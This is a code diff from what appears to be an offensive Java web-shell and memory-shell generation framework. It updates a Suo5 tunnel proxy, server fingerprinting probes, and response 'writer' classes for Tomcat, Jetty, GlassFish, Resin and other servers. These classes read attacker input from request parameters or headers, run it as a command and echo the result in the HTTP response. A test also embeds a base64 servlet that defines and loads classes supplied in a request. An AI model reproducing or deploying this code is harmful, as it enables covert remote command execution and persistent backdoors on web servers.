private boolean waitForTunnelCleanup(Object[] objs, BlockingQueue<byte[]> writeQueue) throws InterruptedException {
while (getKey(this.gtunId) == objs) {
long remaining = TUNNEL_IDLE_TIMEOUT_MILLIS - getTunnelIdleMillis(objs);
if (remaining <= 0) {
return false;
}
writeQueue.poll(remaining, TimeUnit.MILLISECONDS);
}
return true;
}
private byte[] copyOfRange(byte[] original, int from, int to) {
int newLength = to - from;
if (newLength < 0) {
@@ -1035,14 +1128,26 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
// full stream
if (this.mode == 0) {
try {
pipeStream(gInStream, gOutStream, null, true);
pipeStream(gInStream, gOutStream, null, true, gWriteLock);
} catch (Exception ignore) {
} finally {
try {
byte[] closeData = marshalBase64(newDel(this.gtunId));
if (gWriteLock == null) {
writePipeData(gOutStream, null, closeData);
} else {
synchronized (gWriteLock) {
writePipeData(gOutStream, null, closeData);
}
}
} catch (Exception ignore) {
}
}
return;
}
Object[] objs = (Object[]) getKey(this.gtunId);
if (objs == null || objs.length != 3) {
if (objs == null || objs.length < 3) {
return;
}
@@ -1060,6 +1165,7 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
if (data.length == 0) {
break;
}
touchTunnel(objs);
if (!readQueue.offer(data, 60, TimeUnit.SECONDS)) {
selfClean = true;
break;
@@ -1070,12 +1176,16 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
while (true) {
byte[] data = writeQueue.poll(300, TimeUnit.SECONDS);
if (data == null) {
selfClean = true;
break;
if (getTunnelIdleMillis(objs) >= TUNNEL_IDLE_TIMEOUT_MILLIS) {
selfClean = true;
break;
}
continue;
}
if (data.length == 0) {
byte[] signal = writeQueue.poll(10, TimeUnit.SECONDS);
if (signal == null) {
// EOF keeps pending data available while the client is actively draining it.
// An abandoned EOF tunnel is removed after the normal idle timeout.
if (getKey(this.gtunId) == objs && !waitForTunnelCleanup(objs, writeQueue)) {
selfClean = true;
}
break;
@@ -1089,9 +1199,9 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
} catch (Exception e) {
} finally {
if (selfClean) {
removeKey(this.gtunId);
readQueue.clear();
if (removeKeyIfSame(this.gtunId, objs)) {
readQueue.clear();
}
}
writeQueue.clear();
try {
@@ -23,6 +23,10 @@ import org.apache.commons.lang3.StringUtils;
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
import java.nio.charset.Charset;
import java.util.ArrayList;
import java.util.LinkedHashMap;
import java.util.List;
import java.util.Map;
import static java.nio.charset.StandardCharsets.UTF_8;
import static net.bytebuddy.matcher.ElementMatchers.named;
@@ -32,10 +36,16 @@ import static net.bytebuddy.matcher.ElementMatchers.named;
* @since 2025/6/29
*/
public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyConfig> {
private static final Map<String, Class<?>> WRITER_CLASSES = createWriterClasses();
public ResponseBodyGenerator(ProbeConfig probeConfig, ResponseBodyConfig probeContentConfig) {
super(probeConfig, probeContentConfig);
}
public static List<String> getSupportedServers() {
return new ArrayList<>(WRITER_CLASSES.keySet());
}
@Override
protected DynamicType.Builder<?> build(ByteBuddy buddy) {
Class<?> getDataFromReqInterceptor = getDataFromReqInterceptor.class;
@@ -52,9 +62,9 @@ public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyC
.name(probeConfig.getShellClassName())
.visit(new TargetJreVersionVisitorWrapper(probeConfig.getTargetJreVersion()))
.visit(Advice.withCustomMapping()
.bind(ValueAnnotation.class, probeContentConfig.getCommandTemplate())
.to(runnerClass)
.on(named("run")));
.bind(ValueAnnotation.class, probeContentConfig.getCommandTemplate())
.to(runnerClass)
.on(named("run")));
String base64Bytes = probeContentConfig.getBase64Bytes();
if (StringUtils.isNotBlank(base64Bytes)) {
builder = builder.method(named("getDataFromReq")).intercept(FixedValue.value(base64Bytes));
@@ -82,35 +92,32 @@ public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyC
}
private Class<?> getWriterClass() {
switch (probeContentConfig.getServer()) {
case Server.SpringWebMvc:
return SpringWebMvcWriter.class;
case Server.Jetty:
return JettyWriter.class;
case Server.Tomcat:
case Server.JBoss:
case Server.BES:
return TomcatWriter.class;
case Server.TongWeb:
return TongWebWriter.class;
case Server.Resin:
return ResinWriter.class;
case Server.Undertow:
return UndertowWriter.class;
case Server.GlassFish:
case Server.InforSuite:
return GlassFishWriter.class;
case Server.WebSphere:
return WebSphereWriter.class;
case Server.WebLogic:
return WebLogicWriter.class;
case Server.Apusic:
return ApusicWriter.class;
case Server.Struts2:
return Struts2Writer.class;
default:
throw new GenerationException("responseBody not supported for server: " + probeContentConfig.getServer());
Class<?> writerClass = WRITER_CLASSES.get(probeContentConfig.getServer());
if (writerClass == null) {
throw new GenerationException("responseBody not supported for server: " + probeContentConfig.getServer());
}
return writerClass;
}
private static Map<String, Class<?>> createWriterClasses() {
Map<String, Class<?>> writerClasses = new LinkedHashMap<>();
writerClasses.put(Server.Tomcat, TomcatWriter.class);
writerClasses.put(Server.Jetty, JettyWriter.class);
writerClasses.put(Server.Jetty5, JettyWriter.class);
writerClasses.put(Server.Undertow, UndertowWriter.class);
writerClasses.put(Server.JBoss, TomcatWriter.class);
writerClasses.put(Server.Resin, ResinWriter.class);
writerClasses.put(Server.Resin2, Resin2Writer.class);
writerClasses.put(Server.WebLogic, WebLogicWriter.class);
writerClasses.put(Server.WebSphere, WebSphereWriter.class);
writerClasses.put(Server.GlassFish, GlassFishWriter.class);
writerClasses.put(Server.TongWeb, TongWebWriter.class);
writerClasses.put(Server.BES, TomcatWriter.class);
writerClasses.put(Server.InforSuite, GlassFishWriter.class);
writerClasses.put(Server.Apusic, ApusicWriter.class);
writerClasses.put(Server.SpringWebMvc, SpringWebMvcWriter.class);
writerClasses.put(Server.Struts2, Struts2Writer.class);
return writerClasses;
}
static class getDataFromReqInterceptor {
@@ -118,15 +125,24 @@ public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyC
public static void enter(@Advice.Argument(value = 0) Object request,
@ValueAnnotation String name,
@Advice.Return(readOnly = false) String ret) throws Exception {
String p = null;
try {
String p = (String) ShellCommonUtil.invokeMethod(request, "getParameter", new Class[]{String.class}, new Object[]{name});
if (p == null || p.isEmpty()) {
p = (String) ShellCommonUtil.invokeMethod(request, "getHeader", new Class[]{String.class}, new Object[]{name});
}
ret = p;
} catch (Exception e) {
ret = null;
p = (String) ShellCommonUtil.invokeMethod(request, "getParameter", new Class[]{String.class}, new Object[]{name});
} catch (Exception ignored) {
}
if (p == null || p.isEmpty()) {
try {
p = (String) ShellCommonUtil.invokeMethod(request, "getHeader", new Class[]{String.class}, new Object[]{name});
} catch (Exception ignored) {
}
}
if (p == null || p.isEmpty()) {
try {
p = (String) ShellCommonUtil.invokeMethod(request, "getField", new Class[]{String.class}, new Object[]{name});
} catch (Exception ignored) {
}
}
ret = p;
}
}
@@ -135,22 +151,33 @@ public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyC
public static void enter(@Advice.Argument(value = 0) Object request,
@ValueAnnotation String name,
@Advice.Return(readOnly = false) String ret) throws Exception {
String p = null;
try {
String p = (String) ShellCommonUtil.invokeMethod(request, "getParameter", new Class[]{String.class}, new Object[]{name});
if (p == null || p.isEmpty()) {
p = (String) ShellCommonUtil.invokeMethod(request, "getHeader", new Class[]{String.class}, new Object[]{name});
}
ret = p;
p = (String) ShellCommonUtil.invokeMethod(request, "getParameter", new Class[]{String.class}, new Object[]{name});
} catch (Exception e) {
}
if (p == null || p.isEmpty()) {
try {
p = (String) ShellCommonUtil.invokeMethod(request, "getHeader", new Class[]{String.class}, new Object[]{name});
} catch (Exception ignored) {
}
}
if (p == null || p.isEmpty()) {
try {
p = (String) ShellCommonUtil.invokeMethod(request, "getField", new Class[]{String.class}, new Object[]{name});
} catch (Exception ignored) {
}
}
if (p == null || p.isEmpty()) {
Class<?> requestClass = request.getClass().getClassLoader().loadClass("org.eclipse.jetty.server.Request");
Object parameters = requestClass.getMethod("extractQueryParameters", requestClass, Charset.class).invoke(null, request, UTF_8);
String p = (String) ShellCommonUtil.invokeMethod(parameters, "getValue", new Class[]{String.class}, new Object[]{name});
if (p == null || p.isEmpty()) {
Object headers = ShellCommonUtil.invokeMethod(request, "getHeaders", null, null);
p = (String) ShellCommonUtil.invokeMethod(headers, "get", new Class[]{String.class}, new Object[]{name});
}
ret = p;
p = (String) ShellCommonUtil.invokeMethod(parameters, "getValue", new Class[]{String.class}, new Object[]{name});
}
if (p == null || p.isEmpty()) {
Object headers = ShellCommonUtil.invokeMethod(request, "getHeaders", null, null);
p = (String) ShellCommonUtil.invokeMethod(headers, "get", new Class[]{String.class}, new Object[]{name});
}
ret = p;
}
}
@@ -158,7 +185,3 @@ public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyC
public @interface ValueAnnotation {
}
}
@@ -27,6 +27,10 @@ public class ServerProbe {
classNames.add(traceElement.getClassName());
}
}
if (classNames.contains("org.mortbay.http.HttpConnection")
|| classNames.contains("org.mortbay.http.HttpServer")) {
return ret = "Jetty5";
}
if (System.getProperty("jetty.home") != null
|| classNames.contains("org.eclipse.jetty.util.thread.QueuedThreadPool")) {
return ret = "Jetty";
@@ -40,7 +44,7 @@ public class ServerProbe {
if (System.getProperty("com.apusic.home") != null) {
return ret = "Apusic";
}
if (System.getProperty("bes.home") != null
if ((System.getProperty("bes.home") != null || System.getProperty("bes.base") != null)
&& classNames.contains("com.bes.enterprise.web.util.threads.WorkQueue")) {
return ret = "BES";
}
@@ -54,13 +58,22 @@ public class ServerProbe {
|| System.getProperty("wlp.install.dir") != null) {
return ret = "WebSphere";
}
if (System.getProperty("resin.home") != null) {
if (System.getProperty("resin.home") != null
&& classNames.contains("com.caucho.server.dispatch.ServletInvocation")) {
return ret = "Resin";
}
if (classNames.contains("org.springframework.boot.web.embedded.netty.NettyWebServer$1")) {
if (System.getProperty("resin.home") != null
&& (classNames.contains("com.caucho.server.http.HttpRequest")
|| classNames.contains("com.caucho.server.http.ServletServer"))) {
return ret = "Resin2";
}
if (classNames.contains("org.springframework.boot.web.embedded.netty.NettyWebServer$1")
|| classNames.contains("org.springframework.boot.reactor.netty.NettyWebServer$1")) {
return ret = "SpringWebFlux";
}
if (System.getProperty("AS_INSTALL") != null) {
if (System.getProperty("AS_INSTALL") != null
|| System.getProperty("com.sun.aas.installRoot") != null
|| System.getProperty("glassfish.version") != null) {
return ret = "GlassFish";
}
if (System.getProperty("jboss.home.dir") != null
@@ -156,7 +156,15 @@ public class GlassFishFilterProbe {
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
Object target = getThreadTarget(thread);
if (target == null) {
continue;
}
Object container = getContainerFromProcessor(target);
if (container == null) {
continue;
}
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(container, "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
@@ -166,6 +174,40 @@ public class GlassFishFilterProbe {
return contexts;
}
private Object getThreadTarget(Thread thread) throws Exception {
try {
return getFieldValue(thread, "target");
} catch (NoSuchFieldException e) {
// JDK 21+
return getFieldValue(getFieldValue(thread, "holder"), "task");
}
}
/**
* Older GlassFish/Payara: ContainerBackgroundProcessor.this$0
* Payara 6.2024+/7: ContainerBackgroundProcessorAtomic.base (WeakReference)
*/
private Object getContainerFromProcessor(Object target) throws Exception {
try {
return getFieldValue(target, "this$0");
} catch (NoSuchFieldException ignored) {
}
try {
Object atomic = getFieldValue(target, "containerBackgroundProcessorAtomic");
Object base = getFieldValue(atomic, "base");
if (base instanceof java.lang.ref.Reference) {
return ((java.lang.ref.Reference<?>) base).get();
}
return base;
} catch (NoSuchFieldException ignored) {
}
Object base = getFieldValue(target, "base");
if (base instanceof java.lang.ref.Reference) {
return ((java.lang.ref.Reference<?>) base).get();
}
return base;
}
public static Object invokeMethod(Object obj, String methodName) throws Exception {
return invokeMethod(obj, methodName, null, null);
}
@@ -32,7 +32,7 @@ public class GlassFishWriter {
// GlassFish4+
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
Object blocker = getFieldValue(thread, "blocker");
Object blocker = getThreadBlocker(thread);
if (blocker == null || !blocker.getClass().getName().contains("Selector")) {
continue;
}
@@ -62,6 +62,19 @@ public class GlassFishWriter {
}
}
private Object getThreadBlocker(Thread thread) {
try {
return getFieldValue(thread, "blocker");
} catch (Throwable ignored) {
try {
// JDK 21+
return getFieldValue(thread, "nioBlocker");
} catch (Throwable ignored2) {
return null;
}
}
}
private boolean tryWriteRes(Object request) throws Exception {
Object response = invokeMethod(request, "getResponse", null, null);
String data = getDataFromReq(request);
@@ -33,7 +33,10 @@ public class JettyWriter {
continue;
}
Object value = getFieldValue(entry, "value");
if (value != null && value.getClass().getName().endsWith("HttpConnection")) {
if (value != null && (
value.getClass().getName().endsWith("HttpConnection")
|| value.getClass().getName().contains("SelectChannelConnector")
)) {
Object response;
Object request;
try {
@@ -0,0 +1,172 @@
package com.reajason.javaweb.probe.payload.response;
import java.io.ByteArrayOutputStream;
import java.io.OutputStream;
import java.io.PrintStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Set;
/**
* @author ReaJason
* @since 2026/7/4
*/
public class Resin2Writer {
private static boolean ok = false;
public Resin2Writer() {
if (ok) {
return;
}
try {
Object request = getCurrentRequest();
if (request == null) {
return;
}
Object response = invokeMethod(request, "getResponse", null, null);
String data = getDataFromReq(request);
if (data != null && !data.isEmpty()) {
String result = "";
try {
result = run(data);
} catch (Throwable e) {
result = getErrorMessage(e);
}
if (result != null) {
try {
OutputStream outputStream = (OutputStream) invokeMethod(response, "getOutputStream", null, null);
outputStream.write(result.getBytes());
outputStream.flush();
outputStream.close();
} catch (Throwable e) {
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
writer.write(result);
writer.flush();
writer.close();
}
}
}
} catch (Throwable e) {
e.printStackTrace();
} finally {
ok = true;
}
}
private Object getCurrentRequest() {
Thread currentThread = Thread.currentThread();
Object request = getRequestFromThread(currentThread, currentThread);
if (request != null) {
return request;
}
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
request = getRequestFromThread(thread, currentThread);
if (request != null) {
return request;
}
}
return null;
}
private Object getRequestFromThread(Thread thread, Thread currentThread) {
Object target = null;
try {
target = getFieldValue(thread, "target");
} catch (Throwable e) {
try {
target = getFieldValue(getFieldValue(thread, "holder"), "task");
} catch (Throwable ignored) {
}
}
return getRequestFromTarget(target, currentThread);
}
private Object getRequestFromTarget(Object target, Thread currentThread) {
if (target == null) {
return null;
}
Object request = null;
if ("com.caucho.server.http.HttpRequest".equals(target.getClass().getName())) {
request = target;
} else {
try {
request = getFieldValue(target, "request");
} catch (Throwable ignored) {
}
}
if (request == null || !"com.caucho.server.http.HttpRequest".equals(request.getClass().getName())) {
return null;
}
try {
Object requestThread = getFieldValue(request, "_thread");
if (requestThread != null && requestThread != currentThread) {
return null;
}
} catch (Throwable ignored) {
}
return request;
}
private String getDataFromReq(Object request) throws Exception {
return null;
}
private String run(String data) throws Exception {
return null;
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(obj.getClass() + " Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
Field field = clazz.getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -114,6 +114,8 @@ public class CommonUtil {
public static String getWebPackageNameForServer(String server) {
switch (server) {
case Jetty5:
return "org.mortbay.jetty.servlet.handlers";
case Jetty:
return "org.eclipse.jetty.servlet.handlers";
case Undertow:
@@ -128,6 +130,8 @@ public class CommonUtil {
return "weblogic.servlet.internal.handlers";
case Resin:
return "com.caucho.server.dispatch.handlers";
case Resin2:
return "com.caucho.server.http.handlers";
case BES:
return "com.bes.enterprise.webtier.web.handlers";
case Apusic:
@@ -148,4 +152,4 @@ public class CommonUtil {
public static String getSimpleName(String className) {
return className.substring(className.lastIndexOf(".") + 1);
}
}
}
@@ -95,7 +95,7 @@ class CustomShellGeneratorTest {
@Test
@SneakyThrows
void testJakartaServlet(){
void testJakartaServlet() {
byte[] bytes = Base64.getDecoder().decode("yv66vgAAADcAgQoAGwBMCAA4CwA7AE0KABoATgoAGgBPCgAPAFALADwAUQoAUgBTBwBUBwBVCgAKAFYIAFcKAA8AWAgAWQcAWgcAWwoADwBcBwBdCgBeAF8HAC8IAGAIAGEKABIAYggAYwgAZAcAZQcAZgcAZwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAaTEJhc2U2NENsYXNzTG9hZGVyU2VydmxldDsBAARpbml0AQAiKExqYWthcnRhL3NlcnZsZXQvU2VydmxldENvbmZpZzspVgEABmNvbmZpZwEAH0xqYWthcnRhL3NlcnZsZXQvU2VydmxldENvbmZpZzsBAApFeGNlcHRpb25zBwBoAQAQZ2V0U2VydmxldENvbmZpZwEAISgpTGpha2FydGEvc2VydmxldC9TZXJ2bGV0Q29uZmlnOwEAB3NlcnZpY2UBAEQoTGpha2FydGEvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDtMamFrYXJ0YS9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTspVgEABWJ5dGVzAQACW0IBAANvYmoBABJMamF2YS9sYW5nL09iamVjdDsBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQADcmVxAQAgTGpha2FydGEvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDsBAANyZXMBACFMamFrYXJ0YS9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTsBAARkYXRhAQASTGphdmEvbGFuZy9TdHJpbmc7AQANU3RhY2tNYXBUYWJsZQcAaQcAagcAawEADGRlY29kZUJhc2U2NAEAFihMamF2YS9sYW5nL1N0cmluZzspW0IBAAxkZWNvZGVyQ2xhc3MBABFMamF2YS9sYW5nL0NsYXNzOwEAB2RlY29kZXIBAAR2YXI0AQAJYmFzZTY0U3RyAQAWTG9jYWxWYXJpYWJsZVR5cGVUYWJsZQEAFExqYXZhL2xhbmcvQ2xhc3M8Kj47AQAOZ2V0U2VydmxldEluZm8BABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEAB2Rlc3Ryb3kBAApTb3VyY2VGaWxlAQAdQmFzZTY0Q2xhc3NMb2FkZXJTZXJ2bGV0LmphdmEMAB0AHgwAbABtDAA+AD8MAG4AbwwAcABxDAByAHMHAHQMAHUAdgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgwAHQB3AQAWc3VuLm1pc2MuQkFTRTY0RGVjb2RlcgwAeAB5AQAMZGVjb2RlQnVmZmVyAQAPamF2YS9sYW5nL0NsYXNzAQAQamF2YS9sYW5nL1N0cmluZwwAegB7AQAQamF2YS9sYW5nL09iamVjdAcAfAwAfQB+AQAQamF2YS51dGlsLkJhc2U2NAEACmdldERlY29kZXIMAH8AgAEABmRlY29kZQEAAAEAGEJhc2U2NENsYXNzTG9hZGVyU2VydmxldAEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEAF2pha2FydGEvc2VydmxldC9TZXJ2bGV0AQAgamFrYXJ0YS9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24BAB5qYWthcnRhL3NlcnZsZXQvU2VydmxldFJlcXVlc3QBAB9qYWthcnRhL3NlcnZsZXQvU2VydmxldFJlc3BvbnNlAQATamF2YS9pby9JT0V4Y2VwdGlvbgEADGdldFBhcmFtZXRlcgEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQALZGVmaW5lQ2xhc3MBACkoTGphdmEvbGFuZy9TdHJpbmc7W0JJSSlMamF2YS9sYW5nL0NsYXNzOwEAC25ld0luc3RhbmNlAQAUKClMamF2YS9sYW5nL09iamVjdDsBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAE2phdmEvaW8vUHJpbnRXcml0ZXIBAAVwcmludAEAFShMamF2YS9sYW5nL09iamVjdDspVgEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQAJZ2V0TWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwAhABoAGwABABwAAAAHAAEAHQAeAAEAHwAAAC8AAQABAAAABSq3AAGxAAAAAgAgAAAABgABAAAACQAhAAAADAABAAAABQAiACMAAAABACQAJQACAB8AAAA1AAAAAgAAAAGxAAAAAgAgAAAABgABAAAADgAhAAAAFgACAAAAAQAiACMAAAAAAAEAJgAnAAEAKAAAAAQAAQApAAEAKgArAAEAHwAAACwAAQABAAAAAgGwAAAAAgAgAAAABgABAAAAEgAhAAAADAABAAAAAgAiACMAAAABACwALQACAB8AAADjAAUABgAAADorEgK5AAMCAE4tuAAEOgQqARkEAxkEvrYABbYABjoFLLkABwEAGQW2AAinAA86BLsAClkZBLcAC7+xAAEACQAqAC0ACQADACAAAAAiAAgAAAAXAAkAGQAPABoAHwAbACoAHgAtABwALwAdADkAHwAhAAAASAAHAA8AGwAuAC8ABAAfAAsAMAAxAAUALwAKADIAMwAEAAAAOgAiACMAAAAAADoANAA1AAEAAAA6ADYANwACAAkAMQA4ADkAAwA6AAAAGQAC/wAtAAQHABoHADsHADwHABAAAQcACQsAKAAAAAYAAgApAD0ACAA+AD8AAgAfAAAA+gAGAAQAAABkEgy4AA1MKxIOBL0AD1kDEhBTtgARK7YABgS9ABJZAypTtgATwAAUsEwSFbgADU0sEhYDvQAPtgARAQO9ABK2ABNOLbYAFxIYBL0AD1kDEhBTtgARLQS9ABJZAypTtgATwAAUsAABAAAAJwAoAAkABAAgAAAAGgAGAAAAIwAGACQAKAAlACkAJgAvACcAQgAoACEAAAA0AAUABgAiAEAAQQABAC8ANQBAAEEAAgBCACIAQgAxAAMAKQA7AEMAMwABAAAAZABEADkAAABFAAAAFgACAAYAIgBAAEYAAQAvADUAQABGAAIAOgAAAAYAAWgHAAkAKAAAAAQAAQAJAAEARwBIAAEAHwAAAC0AAQABAAAAAxIZsAAAAAIAIAAAAAYAAQAAAC4AIQAAAAwAAQAAAAMAIgAjAAAAAQBJAB4AAQAfAAAAKwAAAAEAAAABsQAAAAIAIAAAAAYAAQAAADQAIQAAAAwAAQAAAAEAIgAjAAAAAQBKAAAAAgBL");
String className = CommonUtil.generateClassName();
ShellConfig shellConfig = ShellConfig.builder()
+7 -7
View File
@@ -1,5 +1,5 @@
[versions]
asm = "9.10" # https://mvnrepository.com/artifact/org.ow2.asm/asm
asm = "9.10.1" # https://mvnrepository.com/artifact/org.ow2.asm/asm
jna = "5.13.0" # 为适配 JDK6+ 这个不可修改
bcel = "5.2"
javax-servlet-api = "3.0.1"
@@ -15,13 +15,13 @@ alibaba-dubbo = "2.6.12"
apache-dubbo = "2.7.6"
tomcat = "8.5.85"
byte-buddy = "1.18.8" # https://mvnrepository.com/artifact/net.bytebuddy/byte-buddy
byte-buddy = "1.18.12" # https://mvnrepository.com/artifact/net.bytebuddy/byte-buddy
commons-io = "2.22.0" # https://mvnrepository.com/artifact/commons-io/commons-io
commons-lang3 = "3.20.0" # https://mvnrepository.com/artifact/org.apache.commons/commons-lang3
commons-codec = "1.22.0" # https://mvnrepository.com/artifact/commons-codec/commons-codec
logback = "1.5.32" # https://mvnrepository.com/artifact/ch.qos.logback/logback-classic
okhttp3 = "5.3.2" # https://mvnrepository.com/artifact/com.squareup.okhttp3/okhttp
fastjson2 = "2.0.62" # https://mvnrepository.com/artifact/com.alibaba.fastjson2/fastjson2
commons-codec = "1.22.1" # https://mvnrepository.com/artifact/commons-codec/commons-codec
logback = "1.5.38" # https://mvnrepository.com/artifact/ch.qos.logback/logback-classic
okhttp3 = "5.5.0" # https://mvnrepository.com/artifact/com.squareup.okhttp3/okhttp
fastjson2 = "2.0.64" # https://mvnrepository.com/artifact/com.alibaba.fastjson2/fastjson2
java-websocket = "1.6.0" # https://mvnrepository.com/artifact/org.java-websocket/Java-WebSocket
mockito = "5.21.0"
@@ -75,4 +75,4 @@ testcontainers = ["testcontainers", "testcontainers-junit-jupiter"]
[plugins]
lombok = { id = "io.freefair.lombok", version = "9.5.0" } # https://plugins.gradle.org/plugin/io.freefair.lombok
shadow = { id = "com.gradleup.shadow", version = "9.4.1" } # https://plugins.gradle.org/plugin/com.gradleup.shadow
shadow = { id = "com.gradleup.shadow", version = "9.4.1" } # https://plugins.gradle.org/plugin/com.gradleup.shadow
+59 -3
View File
@@ -7,6 +7,9 @@ plugins {
group = "io.github.reajason"
version = rootProject.version
evaluationDependsOn(":vul:vul-dubbo")
evaluationDependsOn(":tools:command")
idea {
module {
excludeDirs.add(file("src/main"))
@@ -36,8 +39,41 @@ dependencies {
}
}
tasks.test {
useJUnitPlatform()
val dubboProviderProject = project(":vul:vul-dubbo")
val dubboCommandProject = project(":tools:command")
fun dubboProviderJar(taskName: String): Provider<String> {
return dubboProviderProject.tasks.named<Jar>(taskName).flatMap { task ->
task.archiveFile.map { it.asFile.absolutePath }
}
}
fun dubboClientClasspath(clientKind: String): Provider<String> {
return dubboCommandProject.layout.buildDirectory.file("dubbo-client-classpaths/$clientKind.txt").map {
it.asFile.readText()
}
}
fun Test.configureDubboSystemProperties() {
dependsOn(":vul:vul-dubbo:dubboProviderFatJars", ":tools:command:dubboClientClasspath")
val systemProperties = mapOf(
"dubbo.alibaba.client.classpath" to dubboClientClasspath("alibaba"),
"dubbo.apache.client.classpath" to dubboClientClasspath("apache"),
"dubbo.alibaba.provider.jar" to dubboProviderJar("dubboAlibabaProviderFatJar"),
"dubbo.apache276.provider.jar" to dubboProviderJar("dubboApache276ProviderFatJar"),
"dubbo.apache277.provider.jar" to dubboProviderJar("dubboApache277ProviderFatJar"),
"dubbo.apache278.provider.jar" to dubboProviderJar("dubboApache278ProviderFatJar"),
"dubbo.apache2723.provider.jar" to dubboProviderJar("dubboApache2723ProviderFatJar"),
"dubbo.apache336.provider.jar" to dubboProviderJar("dubboApache336ProviderFatJar")
)
doFirst {
systemProperties.forEach { (key, value) ->
systemProperty(key, value.get())
}
}
}
fun Test.configureIntegrationJvm() {
jvmArgs(
"--add-opens=java.base/java.util=ALL-UNNAMED",
"--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED",
@@ -46,4 +82,24 @@ tasks.test {
testLogging {
events("passed", "skipped", "failed")
}
}
}
tasks.test {
useJUnitPlatform {
excludeTags("dubbo-container")
}
configureIntegrationJvm()
}
tasks.register<Test>("dubboContainerTest") {
group = "verification"
description = "Runs DubboService provider/client integration tests."
testClassesDirs = sourceSets.test.get().output.classesDirs
classpath = sourceSets.test.get().runtimeClasspath
useJUnitPlatform {
includeTags("dubbo-container")
}
dependsOn("testClasses")
configureDubboSystemProperties()
configureIntegrationJvm()
}
@@ -0,0 +1,10 @@
services:
target:
image: reajason/geronimo:2.2.1-jetty7
ports:
- "8080:8080"
- "5005:5005"
environment:
JAVA_TOOL_OPTIONS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
volumes:
- ../../../vul/vul-webapp/build/libs/vul-webapp.war:/opt/geronimo/deploy/app.war
@@ -0,0 +1,7 @@
services:
target:
image: reajason/geronimo:2.2.1-tomcat6
ports:
- "8080:8080"
volumes:
- ../../../vul/vul-webapp/build/libs/vul-webapp.war:/opt/geronimo/deploy/app.war
@@ -8,4 +8,4 @@ services:
environment:
JAVA_OPTS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
volumes:
- ../../../vul/vul-webapp/build/libs/vul-webapp.war:/usr/local/jboss/server/web/deploy/app.war
